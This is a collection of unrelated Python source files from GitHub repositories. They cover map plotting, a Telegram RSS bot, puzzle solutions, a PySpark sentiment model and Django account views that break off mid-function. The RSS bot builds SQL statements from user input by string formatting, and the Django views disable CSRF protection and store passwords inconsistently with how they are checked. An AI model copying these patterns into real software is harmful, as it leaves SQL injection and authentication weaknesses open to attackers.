utf-8 -*-\n\"\"\"\ncm_2_2.py\n\nChange gridlines and labels\nat present it is less customizable than basemap but we can still do things\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport cartopy.crs as ccrs\nfrom matplotlib import rcParams\n\nrcParams['font.size'] = 6\n\nfig = plt.figure(figsize=(16/2.54, 12/2.54))\n\nmyproj = ccrs.PlateCarree()\n\nax1 = fig.add_subplot(221, projection=myproj)\n\nax1.coastlines(resolution='110m') # resolutions available 50m and 10m\nax1.gridlines()\n# problem with gridline ticks available in PlateCarre and Mercator only\n# and tick overlaps use both xlocs and set_xticks same for y\n\n\nax2 = fig.add_subplot(222, projection=myproj)\nax2.coastlines(resolution='110m') # resolutions available 50m and 10m\nax2.gridlines(draw_labels=True, xlocs = range(-180,181,40), ylocs = range(-90,91,30)) # problems of labels to be solved ...\n\nax3 = fig.add_subplot(223, projection=myproj)\nax3.coastlines(resolution='110m') # resolutions available 50m and 10m\ngl = ax3.gridlines(xlocs = range(-180,181,40), ylocs = range(-90,91,30)) # problems of labels to be solved ...\ngl.xlabels_bottom=True\ngl.ylabels_left = True\n\n\nax4 = fig.add_subplot(224, projection=myproj)\nax4.coastlines(resolution='110m') # resolutions available 50m and 10m\ngl2 = ax4.gridlines(xlocs = range(-180,181,40), ylocs = range(-90,91,30), color='darkblue', linestyle='--') # problems of labels to be solved ...\nax4.set_xticks(range(-180,181,40), crs=ccrs.PlateCarree(central_longitude=0))\nax4.set_yticks(range(-90,91,30), crs=ccrs.PlateCarree(central_longitude=0))\n\n\n# plt.savefig('../../figures/cm_2_2.svg',bbox_inches='tight')\nplt.show()\n","repo_name":"fmetivier/GISCourseMaterial","sub_path":"src/map/cm_2_2.py","file_name":"cm_2_2.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20058806230","text":"#!/usr/bin/env python\n\nimport os\nimport logging\nimport feedparser\nimport sqlite3\n\nimport telegram\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters\n\n# Enable logging\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n level=logging.INFO)\n\nlogger = logging.getLogger(__name__)\n\n\ndef replyHelpList(update, context):\n update.message.reply_text('''Command:\n/sub\n/unsub\n/list\n/help''')\n\n\ndef echo(update, context):\n \"\"\"Echo the user message.\"\"\"\n update.message.reply_text(update.message.text)\n\n\ndef error(update, context):\n \"\"\"Log Errors caused by Updates.\"\"\"\n logger.warning('Update \"%s\" caused error \"%s\"', update, context.error)\n\n\ndef replyLastUpdate(update, context):\n url = update.message.text.split('/sub ')[1]\n url_parse = feedparser.parse(url)\n site_title = url_parse.feed.title\n last_title = url_parse.entries[0].title\n last_link = url_parse.entries[0].link\n\n update.message.reply_text(\n '{}\\n{}'.format(\n site_title, last_link, last_title),\n parse_mode=telegram.ParseMode.HTML,\n disable_web_page_preview=True\n )\n\n\ndef sqlite3Exec(sqlCommand):\n conn = sqlite3.connect('rssbot.db')\n c = conn.cursor()\n c.execute(sqlCommand)\n logger.info(sqlCommand)\n conn.commit()\n c.close()\n conn.close()\n\n\ndef addUser(update, context):\n user_id = update.message.chat.id\n command = '''CREATE TABLE IF NOT EXISTS USER_%s (\n SITELINK TEXT,\n SITETITLE TEXT,\n LASTLINK TEXT,\n LASTTITLE TEXT);''' % (user_id)\n sqlite3Exec(command)\n\n\ndef rowCount(uid):\n conn = sqlite3.connect('rssbot.db')\n c = conn.cursor()\n row_count = c.execute('SELECT COUNT() FROM USER_%s' % (uid)).fetchone()[0]\n conn.commit()\n c.close()\n conn.close()\n return row_count\n\n\ndef getFeedsList(uid):\n conn = sqlite3.connect('rssbot.db')\n c = conn.cursor()\n feedsList = c.execute('SELECT * FROM USER_%s;' % (uid)).fetchall()\n conn.commit()\n c.close()\n conn.close()\n return feedsList\n\n\ndef feedIsExist(feedsList, site_link):\n exist = False\n for feed in feedsList:\n if site_link == feed[0]:\n exist = True\n return exist\n\n\ndef addFeed(update, context):\n try:\n url = update.message.text.split('/sub ')[1]\n except:\n replyHelpList(update, context)\n return\n\n try:\n url_parse = feedparser.parse(url)\n site_title = url_parse.feed.title\n site_link = url\n last_title = url_parse.entries[0].title\n last_link = url_parse.entries[0].link\n except:\n update.message.reply_text(\"Can't parse feed: {}\".format(url))\n return\n\n uid = update.message.chat.id\n\n exist = feedIsExist(getFeedsList(uid), site_link)\n if (exist):\n update.message.reply_text(\n '{} already subscribed.'.format(\n site_link, site_title),\n parse_mode=telegram.ParseMode.HTML\n )\n return\n\n # sqlite3Exec('''INSERT INTO USER_%s (SITELINK, SITETITLE, LASTLINK, LASTTITLE) VALUES ('%s', '%s', '%s', '%s');''' % (\n sqlite3Exec('''INSERT INTO USER_%s VALUES ('%s', '%s', '%s', '%s');''' % (\n uid, site_link, site_title, last_link, last_title))\n\n update.message.reply_text(\n '{} subscribe successed.'.format(\n site_link, site_title),\n parse_mode=telegram.ParseMode.HTML\n )\n\n\ndef listFeeds(update, context):\n feedsList = getFeedsList(uid=update.message.chat.id)\n\n reply_list = \"feeds list:\"\n for feed in feedsList:\n reply_list += '\\n{}'.format(feed[0], feed[1])\n\n update.message.reply_text(\n reply_list, parse_mode=telegram.ParseMode.HTML, disable_web_page_preview=True)\n\n\ndef delFeed(update, context):\n try:\n url = update.message.text.split('/unsub ')[1]\n except:\n replyHelpList(update, context)\n return\n\n try:\n url_parse = feedparser.parse(url)\n site_title = url_parse.feed.title\n site_link = url\n last_title = url_parse.entries[0].title\n last_link = url_parse.entries[0].link\n except:\n update.message.reply_text(\"Can't parse feed: {}\".format(url))\n return\n\n uid = update.message.chat.id\n\n exist = feedIsExist(getFeedsList(uid), site_link)\n\n if (exist):\n sqlite3Exec(\n \"DELETE FROM USER_{} WHERE SITELINK = '{}';\".format(uid, site_link))\n else:\n update.message.reply_text('{} have not subscribed.'.format(\n site_link, site_title), parse_mode=telegram.ParseMode.HTML)\n return\n\n exist = feedIsExist(getFeedsList(uid), site_link)\n\n if (exist):\n update.message.reply_text(\n '{} unsubscribe failed.'.format(\n site_link, site_title),\n parse_mode=telegram.ParseMode.HTML\n )\n else:\n update.message.reply_text(\n '{} unsubscribe successed.'.format(\n site_link, site_title),\n parse_mode=telegram.ParseMode.HTML\n )\n\n\n# def updateFeed(update, context):\n# uid = update.message.chat.id\n# feedsList = getFeedsList(uid)\n\n# try:\n# url_parse = feedparser.parse(url)\n# site_title = url_parse.feed.title\n# site_link = url\n# last_title = url_parse.entries[0].title\n# last_link = url_parse.entries[0].link\n# except:\n# update.message.reply_text(\"Can't parse feed: {}\".format(url))\n# return\n\n# for feed in feedsList:\n# url_parse = feedparser.parse(url)\n# last_link = url_parse.entries[0].link\n# last_link_in_db = feed[2]\n\n# if last_link != last_link_in_db:\n# pass\n# # 更改\n\n\ndef main():\n token = os.getenv(\"TOKEN\")\n updater = Updater(token, use_context=True)\n\n dp = updater.dispatcher\n\n dp.add_handler(CommandHandler(\"start\", addUser))\n dp.add_handler(CommandHandler(\"sub\", addFeed))\n dp.add_handler(CommandHandler(\"unsub\", delFeed))\n dp.add_handler(CommandHandler(\"list\", listFeeds))\n dp.add_handler(CommandHandler(\"help\", replyHelpList))\n # dp.add_handler(CommandHandler(\"update\", updateFeed))\n\n dp.add_handler(MessageHandler(Filters.text, echo))\n\n dp.add_error_handler(error)\n\n updater.start_polling()\n\n updater.idle()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"peeweep/rssbot","sub_path":"src/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25434862512","text":"file = open(\"input/day-8-input.txt\")\nlines = [line.strip() for line in file.readlines()]\n\nnumbers = {}\n\ndef sort(str):\n return \"\".join(sorted(str))\n\ndef verify_known_numbers(arr):\n for s in arr:\n if len(s) == 2:\n numbers[sort(s)] = 1\n elif len(s) == 3:\n numbers[sort(s)] = 7\n elif len(s) == 4:\n numbers[sort(s)] = 4\n elif len(s) == 7:\n numbers[sort(s)] = 8\n\ndef find_six(input):\n one = list(filter(lambda s : len(s) == 2, input))[0]\n six = list(filter(lambda s : not all(map(lambda x : x in s, one)), filter(lambda s : len(s) == 6, input)))[0]\n numbers[sort(six)] = 6\n\ndef find_nine(input):\n four = list(filter(lambda s : len(s) == 4, input))[0]\n nine = list(filter(lambda s : all(map(lambda x : x in s, four)), filter(lambda s : len(s) == 6, input)))[0]\n numbers[sort(nine)] = 9\n\n return nine\n\ndef find_zero(input):\n zero = list(filter(lambda s : len(s) == 6 and sort(s) not in numbers, input))[0]\n numbers[sort(zero)] = 0\n\ndef find_three(input):\n one = list(filter(lambda s : len(s) == 2, input))[0]\n three = list(filter(lambda s : all(map(lambda x : x in s, one)), filter(lambda s : len(s) == 5, input)))[0]\n numbers[sort(three)] = 3\n\ndef find_five(input, nine):\n one = list(filter(lambda s : len(s) == 2, input))[0]\n five = list(filter(lambda s : not all(map(lambda x : x in s, one)) and all(map(lambda x : x in nine, s)), filter(lambda s : len(s) == 5, input)))[0]\n numbers[sort(five)] = 5\n\ndef find_two(input):\n two = list(filter(lambda s : len(s) == 5 and sort(s) not in numbers, input))[0]\n numbers[sort(two)] = 2\n\ndef generate(arr) -> int:\n result = 0\n for i, n in enumerate(arr):\n result += n* 10**(3 - i)\n\n return result\n\ndef solve(str) -> int:\n global numbers\n numbers = {}\n\n arr = str.split(\" | \")\n input = arr[0].split()\n output = arr[1].split()\n\n verify_known_numbers(input)\n find_six(input)\n nine = find_nine(input)\n find_zero(input)\n find_three(input)\n find_five(input, nine)\n find_two(input)\n\n return generate(map(lambda s : numbers[sort(s)], output))\n\nresult = sum(map(lambda line : solve(line), lines))\nprint(\"result: {}\".format(result))\n","repo_name":"xiongjya/aoc-2021","sub_path":"src/day-8/day-8-1.py","file_name":"day-8-1.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"25361562793","text":"import copy\nfrom io import StringIO\nfrom collections.abc import Iterable\nimport abc\nimport platform\nfrom typing import Optional, Union, Dict, Any, Type, TypeVar\n\nimport numpy as np\nimport yaml\ntry:\n from yaml import CSafeLoader as SafeLoader\n from yaml import CSafeDumper as SafeDumper\nexcept ImportError:\n from yaml import SafeLoader # type: ignore\n from yaml import SafeDumper # type: ignore\n\nfrom ._typehints import FileHandle\nfrom . import Rotation\nfrom . import util\n\nMyType = TypeVar('MyType', bound='Config')\n\nclass NiceDumper(SafeDumper):\n \"\"\"Make YAML readable for humans.\"\"\"\n\n def write_line_break(self,\n data: Optional[str] = None):\n super().write_line_break(data) # type: ignore\n\n if len(self.indents) == 1: # type: ignore\n super().write_line_break() # type: ignore\n\n def increase_indent(self,\n flow: bool = False,\n indentless: bool = False):\n return super().increase_indent(flow, False) # type: ignore\n\n def represent_data(self,\n data: Any):\n \"\"\"Cast Config objects and its subclasses to dict.\"\"\"\n if isinstance(data, dict) and type(data) != dict:\n return self.represent_data(dict(data))\n if isinstance(data, np.ndarray):\n return self.represent_data(data.tolist())\n if isinstance(data, Rotation):\n return self.represent_data(data.quaternion.tolist())\n if isinstance(data, np.generic):\n return self.represent_data(data.item())\n\n return super().represent_data(data)\n\n def ignore_aliases(self,\n data: Any) -> bool:\n \"\"\"Do not use references to existing objects.\"\"\"\n return True\n\nclass Config(dict):\n \"\"\"YAML-based configuration.\"\"\"\n\n def __init__(self,\n config: Optional[Union[str, Dict[str, Any]]] = None,\n **kwargs):\n \"\"\"\n New YAML-based configuration.\n\n Parameters\n ----------\n config : dict or str, optional\n Configuration. String needs to be valid YAML.\n **kwargs: arbitray keyword-value pairs, optional\n Top level entries of the configuration.\n\n Notes\n -----\n Values given as keyword-value pairs take precedence\n over entries with the same keyword in 'config'.\n\n \"\"\"\n if int(platform.python_version_tuple()[1]) >= 9:\n if isinstance(config,str):\n kwargs = yaml.load(config, Loader=SafeLoader) | kwargs\n elif isinstance(config,dict):\n kwargs = config | kwargs # type: ignore\n\n super().__init__(**kwargs)\n else:\n if isinstance(config,str):\n c = yaml.load(config, Loader=SafeLoader)\n elif isinstance(config,dict):\n c = config.copy()\n else:\n c = {}\n c.update(kwargs)\n\n super().__init__(**c)\n\n\n def __repr__(self) -> str:\n \"\"\"\n Return repr(self).\n\n Show as in file.\n\n \"\"\"\n output = StringIO()\n self.save(output)\n output.seek(0)\n return ''.join(output.readlines())\n\n\n def __copy__(self: MyType) -> MyType:\n \"\"\"\n Return deepcopy(self).\n\n Create deep copy.\n\n \"\"\"\n return copy.deepcopy(self)\n\n copy = __copy__\n\n\n def __or__(self: MyType,\n other) -> MyType:\n \"\"\"\n Return self|other.\n\n Update configuration with contents of other.\n\n Parameters\n ----------\n other : damask.Config or dict\n Key-value pairs that update self.\n\n Returns\n -------\n updated : damask.Config\n Updated configuration.\n\n Note\n ----\n This functionality is a backport for Python 3.8\n\n \"\"\"\n duplicate = self.copy()\n duplicate.update(other)\n return duplicate\n\n\n def __ior__(self: MyType,\n other) -> MyType:\n \"\"\"\n Return self|=other.\n\n Update configuration with contents of other (in-place).\n\n \"\"\"\n return self.__or__(other)\n\n\n def delete(self: MyType,\n keys: Union[Iterable, str]) -> MyType:\n \"\"\"\n Remove configuration keys.\n\n Parameters\n ----------\n keys : iterable or scalar\n Label of the key(s) to remove.\n\n Returns\n -------\n updated : damask.Config\n Updated configuration.\n\n \"\"\"\n duplicate = self.copy()\n for k in keys if isinstance(keys, Iterable) and not isinstance(keys, str) else [keys]:\n del duplicate[k]\n return duplicate\n\n\n @classmethod\n def load(cls: Type[MyType],\n fname: FileHandle) -> MyType:\n \"\"\"\n Load from yaml file.\n\n Parameters\n ----------\n fname : file, str, or pathlib.Path\n Filename or file for writing.\n\n Returns\n -------\n loaded : damask.Config\n Configuration from file.\n\n \"\"\"\n return cls(yaml.load(util.open_text(fname), Loader=SafeLoader))\n\n def save(self,\n fname: FileHandle,\n **kwargs):\n \"\"\"\n Save to yaml file.\n\n Parameters\n ----------\n fname : file, str, or pathlib.Path\n Filename or file for writing.\n **kwargs : dict\n Keyword arguments parsed to yaml.dump.\n\n \"\"\"\n if 'width' not in kwargs:\n kwargs['width'] = 256\n if 'default_flow_style' not in kwargs:\n kwargs['default_flow_style'] = None\n if 'sort_keys' not in kwargs:\n kwargs['sort_keys'] = False\n\n fhandle = util.open_text(fname,'w')\n try:\n fhandle.write(yaml.dump(self,Dumper=NiceDumper,**kwargs))\n except TypeError: # compatibility with old pyyaml\n del kwargs['sort_keys']\n fhandle.write(yaml.dump(self,Dumper=NiceDumper,**kwargs))\n\n\n @property\n @abc.abstractmethod\n def is_complete(self):\n \"\"\"Check for completeness.\"\"\"\n raise NotImplementedError\n\n\n @property\n @abc.abstractmethod\n def is_valid(self):\n \"\"\"Check for valid file layout.\"\"\"\n raise NotImplementedError\n","repo_name":"eisenforschung/DAMASK","sub_path":"python/damask/_config.py","file_name":"_config.py","file_ext":"py","file_size_in_byte":6817,"program_lang":"python","lang":"en","doc_type":"code","stars":78,"dataset":"github-code","pt":"32"} +{"seq_id":"10890363471","text":"from textdataparser import textDataParser\nfrom model import ModelData\n\nfilename = 'sampledata'\nkind_of_practice_dataset = ['Mnist']\n\n\nimg_rows = 28\nimg_cols = 28\n\n# 고급 설정\nbatch_size = 128\nepochs = 3\n\n\nparsed_dataset, parsed_layerdata = textDataParser(filename, kind_of_practice_dataset)\nmymodel = ModelData(parsed_layerdata, parsed_dataset)\nmymodel.setTrainoption(batch_size, epochs)\nmymodel.dataLoader()\nmodel = mymodel.modelMaker()\nprint(model.summary())\nmymodel.fitModel()","repo_name":"NewCentury99/P005_LeAIGo","sub_path":"ArdSQL/json2Keras/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"21004720514","text":"\"\"\"\nhttps://leetcode.com/problems/goat-latin/\n\n\"\"\"\n\n\nclass Solution:\n \n def toGoatLatin(self, S: str) -> str:\n x=S.split()\n v=['a','e','i','o','u','A','E','I','O','U']\n for i in range(len(x)):\n temp=\"\"\n for j in range(i+1):\n temp=temp+'a'\n \n if(x[i][0] in v):\n \n x[i]=x[i]+'ma'\n x[i]=x[i] + temp + ' '\n \n else:\n x[i]=x[i][1:] + x[i][0] + 'ma'\n x[i]=x[i] + temp +' '\n ans=\"\"\n ans=ans.join(x)\n return(ans[:len(ans)-1])\n \n ","repo_name":"killswitchh/Leetcode-Problems","sub_path":"Easy/Goat-Latin.py","file_name":"Goat-Latin.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33196187875","text":"from pyspark import SparkContext\nfrom pyspark.mllib.linalg import SparseVector\nfrom pyspark.mllib.regression import LabeledPoint\nfrom pyspark.mllib.classification import LogisticRegressionWithSGD\nimport re\nimport argparse\nimport os\nimport pprint\nimport json\n\n\ndef create_twitter_placeholder(text,\n pseudo_regex='\\\\@[a-zA-Z0-9_]*',\n link_regex='http(s)?://[a-zA-Z0-9./\\\\-]*',\n hash_tag_regex='\\\\#[a-zA-Z0-9_]*',\n rt_regex='rt:'):\n \"\"\"\n replaces tweet specific objects by tokens\n :param text: text of the tweet\n :param pseudo_regex: regular expression for the pseudo\n :param link_regex: regular expression for the web site links\n :param hash_tag_regex: regular expression for the hash tags\n :param rt_regex: regular expression for the re-tweet\n :return: a transformed string\n \"\"\"\n # replacing re-tweets\n text = re.sub(pattern=rt_regex, string=text, repl='retweetplaceholder')\n # replacing pseudos\n text = re.sub(pattern=pseudo_regex, string=text, repl='pseudoplaceholder')\n # replacing hash tags\n text = re.sub(pattern=hash_tag_regex, string=text, repl='hashtagplaceholder')\n # replacing links\n text = re.sub(pattern=link_regex, string=text, repl='linkplaceholder')\n\n return text\n\n\ndef tokenize(text, word_regex='\\\\w+'):\n \"\"\"\n takes a text and return a list of tokens\n :param text: text to tokenize\n :param word_regex: regular expression used to retrieve words\n :return: a list of tokens\n \"\"\"\n tokens = re.findall(pattern=word_regex, string=text.lower())\n return tokens\n\n\ndef create_common_words_reference_table(path):\n \"\"\"\n returns a dictionary with tokens as keys and indices as values\n :param path: path to a csv file containing most common words to keep\n :return: a dictionary\n \"\"\"\n # loading the most common words\n common_words = open(path).read().split('\\n')\n\n # adding our placeholders\n common_words.extend(['pseudoplaceholder', 'linkplaceholder', 'retweetplaceholder', 'hashtagplaceholder'])\n\n # creating the reference table\n # the reference table is a dictionary with token as keys and indices as values\n reference_table = {token: index for index, token in enumerate(common_words)}\n\n return reference_table\n\n\ndef compute_term_frequency(tokens, reference_table):\n \"\"\"\n function used to compute term frequency sparse vector\n \"\"\"\n hash_table = {}\n # running through the tokens\n for token in tokens:\n # if the token is indeed among those we want to keep\n if token in reference_table.keys():\n # updating the frequency table\n hash_table[reference_table[token]] = hash_table.get(reference_table[token], 0) + 1\n # returning a Sparse vector object\n sparse_vector = SparseVector(len(reference_table), hash_table)\n return sparse_vector\n\n\nif __name__ == '__main__':\n\n # defining an argument parser\n argument_parser = argparse.ArgumentParser()\n argument_parser.add_argument('--path', default='/home/hduser/demo_kafka_architecture')\n argument_parser.add_argument('--output', default='/home/hduser/demo_kafka_architecture/model.json')\n\n # parsing arguments\n arguments = argument_parser.parse_args()\n data_directory = arguments.path\n output_path = arguments.output\n\n # defining paths\n data_path = os.path.join(data_directory, 'sample.csv')\n common_words_path = os.path.join(data_directory, 'most_used_words.csv')\n\n reference_table_ = create_common_words_reference_table(path=common_words_path)\n # directory_path = 'file:///home/hduser/twitter_data'\n # file_path = '/data/twitter_data/z_sample.csv\n\n # create a spark context\n spark_context = SparkContext.getOrCreate()\n spark_context.setLogLevel('ERROR')\n\n # reading data from the text file\n rdd = spark_context.textFile(data_path)\n\n # parsing data to get a dictionary\n rdd = rdd.map(lambda raw: raw.split(',', 1)). \\\n filter(lambda tup: tup[0] != 'sentiment'). \\\n map(lambda tup: {'sentiment': int(tup[0]), 'text': tup[1]})\n\n # replacing the twitter specific tokens by placeholders\n rdd = rdd.map(lambda dictionary: {\n 'sentiment': dictionary['sentiment'],\n 'text': create_twitter_placeholder(dictionary['text'])\n })\n\n # tokenizing the words\n rdd = rdd.map(lambda dictionary: {\n 'sentiment': dictionary['sentiment'],\n 'tokens': tokenize(dictionary['text'])\n })\n\n # creating the numerical features\n rdd = rdd.map(lambda dictionary: {\n 'sentiment': dictionary['sentiment'],\n 'features': compute_term_frequency(dictionary['tokens'], reference_table=reference_table_)\n })\n\n # formatting the data for the logistic regression\n rdd_features = rdd.map(lambda dictionary: LabeledPoint(label=dictionary['sentiment'],\n features=dictionary['features']))\n\n # splitting the data into a train and a test set\n rdd_train, rdd_test = rdd_features.randomSplit(weights=[.8, .2])\n\n # instantiating a logistic regression\n logistic_regression = LogisticRegressionWithSGD()\n trained_logistic_regression = logistic_regression.train(rdd_train)\n\n predictions_on_test = trained_logistic_regression.predict(rdd_test.map(lambda point: point.features))\n\n def confusion_matrix(x):\n\n if x[0] == x[1]:\n beginning = 'True '\n else:\n beginning = 'False '\n if x[0] == 1:\n end = 'Positive'\n else:\n end = 'Negative'\n\n return beginning + end\n\n results = predictions_on_test.zip(rdd_test).\\\n map(lambda tup: (tup[0], int(tup[1].label))).\\\n map(confusion_matrix).\\\n map(lambda x: (x, 1)).\\\n reduceByKey(lambda x, y: x + y)\n\n pprint.pprint(dict(results.collect()))\n\n # storing the parameters in a json file\n trained_parameters = {\n 'weights': trained_logistic_regression.weights.toArray().tolist(),\n 'intercept': trained_logistic_regression.intercept\n }\n\n with open(output_path, 'w') as model_file:\n json.dump(trained_parameters, fp=model_file)\n\n","repo_name":"pauldechorgnat/demo_kafka_architecture","sub_path":"training_logistic_regression.py","file_name":"training_logistic_regression.py","file_ext":"py","file_size_in_byte":6220,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"12858722531","text":"import xml.etree.ElementTree as ET\nimport glob\nimport os\nimport shutil\nfrom os import path\nfrom pathlib import Path\n\nclass ContinueI(Exception): #utility function to skip to outer loop\n pass\n\ncontinue_i = ContinueI()\n\n#list of annotation files\n#ISR\n#fileList = glob.glob(\"/home/internship_computervision/Nagendra/IndoorSceneRecognition/Annotations/*/*.xml\")\n#SUN\nfileList = glob.glob(\"/home/internship_computervision/Nagendra/SUN2012pascalformat/Annotations/*.xml\")\n\n#f = open(\"C:\\\\Users\\\\NAGENDRA\\\\Desktop\\\\files.csv\", \"w+\")\n\nfor eachFile in fileList:\n try: #to skip here after a file has been found with \"person\"\n tree = ET.parse(eachFile) #parse XML file\n root = tree.getroot()\n\n for elem in root:\n for subelem in elem: #parse through objects\n if \"person\" in subelem.text:\n #f.write(eachFile)\n #f.write('\\n')\n\n src = eachFile #annotations path\n\n head, srcImgFile = path.split(src) #get file name\n pre, ext = os.path.splitext(srcImgFile) #get extension\n new_extension = '.jpg'\n imgSrc = \"/home/internship_computervision/Nagendra/SUN2012pascalformat/JPEGImages/\"\n imgSrc = imgSrc + pre + new_extension\n #os.rename(src + srcImgFile, imgSrc + pre + new_extension) #rename extention\n #imgSrc = \"/home/internship_computervision/Nagendra/IndoorSceneRecognition/Images/\" #folder that contains images\n #imgSrc = \"/home/internship_computervision/Nagendra/SUN2012pascalformat/JPEGImages/\" #folder that contains images\n #imageFolderName = os.path.basename(os.path.dirname(src)) #the folder heirarchy for Indoor Scene Recognition database\n #imgSrc = imgSrc + imageFolderName\n #Path(imgSrc).mkdir(parents=True, exist_ok=True) #create folder\n #imgSrc = imgSrc + srcImgFile #final images path\n\n folderName = os.path.basename(os.path.dirname(src))\n head, tail = path.split(src)\n dst = \"/home/internship_computervision/Nagendra/PeopleIndoor/SUN/Annotations/\"\n #dst = \"/home/internship_computervision/Nagendra/PeopleIndoor/ISR/Annotations/\" + folderName + \"/\" #new location for annotations\n #Path(dst).mkdir(parents=True, exist_ok=True)\n dst = dst + tail #final annotations destination path\n\n head, dstImgFile = path.split(dst)\n pre, ext = os.path.splitext(dstImgFile)\n new_extension = '.jpg'\n imgDst = \"/home/internship_computervision/Nagendra/PeopleIndoor/SUN/Images/\"\n imgDst = imgDst + pre + new_extension\n #os.rename(dst + dstImgFile, imgDst + pre + new_extension)\n #imgDst = \"/home/internship_computervision/Nagendra/PeopleIndoor/SUN/Images/\" #new location for images\n #imgDst = \"/home/internship_computervision/Nagendra/PeopleIndoor/ISR/Images/\" #new location for images\n #imageFolderName = os.path.basename(os.path.dirname(src))\n #imgDst = imgDst + imageFolderName\n #Path(imgDst).mkdir(parents=True, exist_ok=True)\n #imgDst = imgDst + dstImgFile #final images destination path\n #Path(imgDst).mkdir(parents=True, exist_ok=True)\n\n shutil.copy(src, dst) #copy annotations\n shutil.copy(imgSrc, imgDst) #copy images\n\n raise continue_i\n except ContinueI:\n continue\n\n#f.close()\n","repo_name":"nagendraputhane/Indoor-Scene-Recognition","sub_path":"object.py","file_name":"object.py","file_ext":"py","file_size_in_byte":3729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23458167281","text":"from django.contrib.auth.hashers import check_password\nfrom django.shortcuts import render\nfrom django.http import HttpResponse, JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.renderers import JSONRenderer\nfrom rest_framework.parsers import JSONParser\nimport datetime\nfrom .models import *\nfrom .serializers import *\nimport os\nimport hmac\nimport urllib.request\nimport urllib.parse\n\n# import django settings file\nfrom . import settings\n\n@csrf_exempt\ndef generate_auth():\n auth = hmac.new(\n key = settings.SECRET_KEY.encode('utf-8'),\n msg = os.urandom(32),\n digestmod = 'sha256',\n ).hexdigest()\n return auth\n\n@csrf_exempt\ndef musician_list(request):\n if request.method == 'GET':\n musicians = Musician.objects.all()\n serializer = MusicianSerializer(musicians, many=True)\n return JsonResponse(serializer.data, safe=False)\n\n elif request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = MusicianSerializer(data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data, status=201)\n return JsonResponse(serializer.errors, status=400)\n\n@csrf_exempt\ndef musician_detail(request, pk):\n \"\"\"\n CRUD methods for Musician model\n \"\"\"\n try:\n musician = Musician.objects.get(pk=pk)\n except Musician.DoesNotExist:\n return HttpResponse(status=404)\n\n if request.method == 'GET':\n serializer = MusicianSerializer(musician)\n return JsonResponse(serializer.data)\n\n elif request.method == 'PUT':\n data = JSONParser().parse(request)\n serializer = MusicianSerializer(musician, data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data)\n return JsonResponse(serializer.errors, status=400)\n\n elif request.method == 'DELETE':\n musician.delete()\n return HttpResponse(status=204)\n\n@csrf_exempt\ndef musician_create_account(request):\n if request.method == 'POST':\n # Decode form-encoded user information from request key-value pairs.\n user_query = request.POST\n # Django gives us a QueryDict for the POST body.\n name = user_query.get('username')\n hashed_pass = user_query.get('password')\n mail = user_query.get('email')\n\n # Check that user doesn't already exist.\n try:\n musician = Musician.objects.get(username=name) # or Musician.objects.get(email=mail)\n # Return error, since user needs to pick a unique username.\n # >>> HTTP code 409: conflicting resource.\n return HttpResponse(status=409)\n\n except Musician.DoesNotExist:\n # New user, so add to database.\n new_user = Musician.objects.create(\n username=name,\n password=hashed_pass,\n email=mail,\n )\n new_user.save()\n\n # Generate random auth string.\n auth = generate_auth()\n # Check that this random string not already used.\n while(Authenticator.objects.filter(authenticator=auth).exists()):\n auth = generate_auth()\n\n # We now know that string stored in auth is unique, so create new authenticator object.\n new_auth = Authenticator.objects.create(\n user_id=new_user,\n authenticator=auth,\n date_created=datetime.date.today())\n new_auth.save()\n serializer = AuthenticatorSerializer(new_auth)\n return JsonResponse(serializer.data)\n\n else:\n # We want the API to be called as a POST request with the arguments.\n # >>> 501 Error Code: Not Implemented (i.e. wrong request).\n return HttpResponse(status=501)\n\n@csrf_exempt\ndef musician_login(request):\n if request.method == 'POST':\n # Decode form-encoded user information from request key-value pairs.\n user_query = request.POST\n # Django gives us a QueryDict for the POST body.\n username = user_query.get('username')\n text_pass = user_query.get('password')\n\n # Get the user.\n try:\n musician = Musician.objects.get(username=username)\n except Musician.DoesNotExist:\n # Could not find the user.\n return HttpResponse(status=404)\n\n # Validate the plain-text password against the hash.\n hashed_pass = musician.password\n if not check_password(text_pass, hashed_pass):\n return HttpResponse(status=404)\n\n # Generate random auth string.\n auth = generate_auth()\n # Check that this random string not already used.\n while(Authenticator.objects.filter(authenticator=auth).exists()):\n auth = generate_auth()\n\n # We now know that string stored in auth is unique, so create new authenticator object.\n new_auth = Authenticator.objects.create(\n user_id=musician,\n authenticator=auth,\n date_created=datetime.date.today())\n new_auth.save()\n serializer = AuthenticatorSerializer(new_auth)\n return JsonResponse(serializer.data)\n\n else:\n # We want the API to be called as a POST request with the arguments.\n # >>> 501 Error Code: Not Implemented (i.e. wrong request).\n return HttpResponse(status=501)\n\n@csrf_exempt\ndef create_listing(request):\n if request.method == 'POST':\n # Get auth token and form data\n query = request.POST\n auth = query.get('authenticator')\n\n # Check authenticator is valid\n try:\n Authenticator.objects.get(authenticator=auth)\n except Authenticator.DoesNotExist:\n return HttpResponse(status=401)\n\n # Create a new pack if auth is valid\n new_pack = SamplePack.objects.create(\n name=query.get('name'),\n description=query.get('description'),\n price=query.get('price'))\n new_pack.save()\n serializer = SamplePackSerializer(new_pack)\n return JsonResponse(serializer.data)\n else:\n # We want the API to be called as a POST request with the arguments.\n # >>> 501 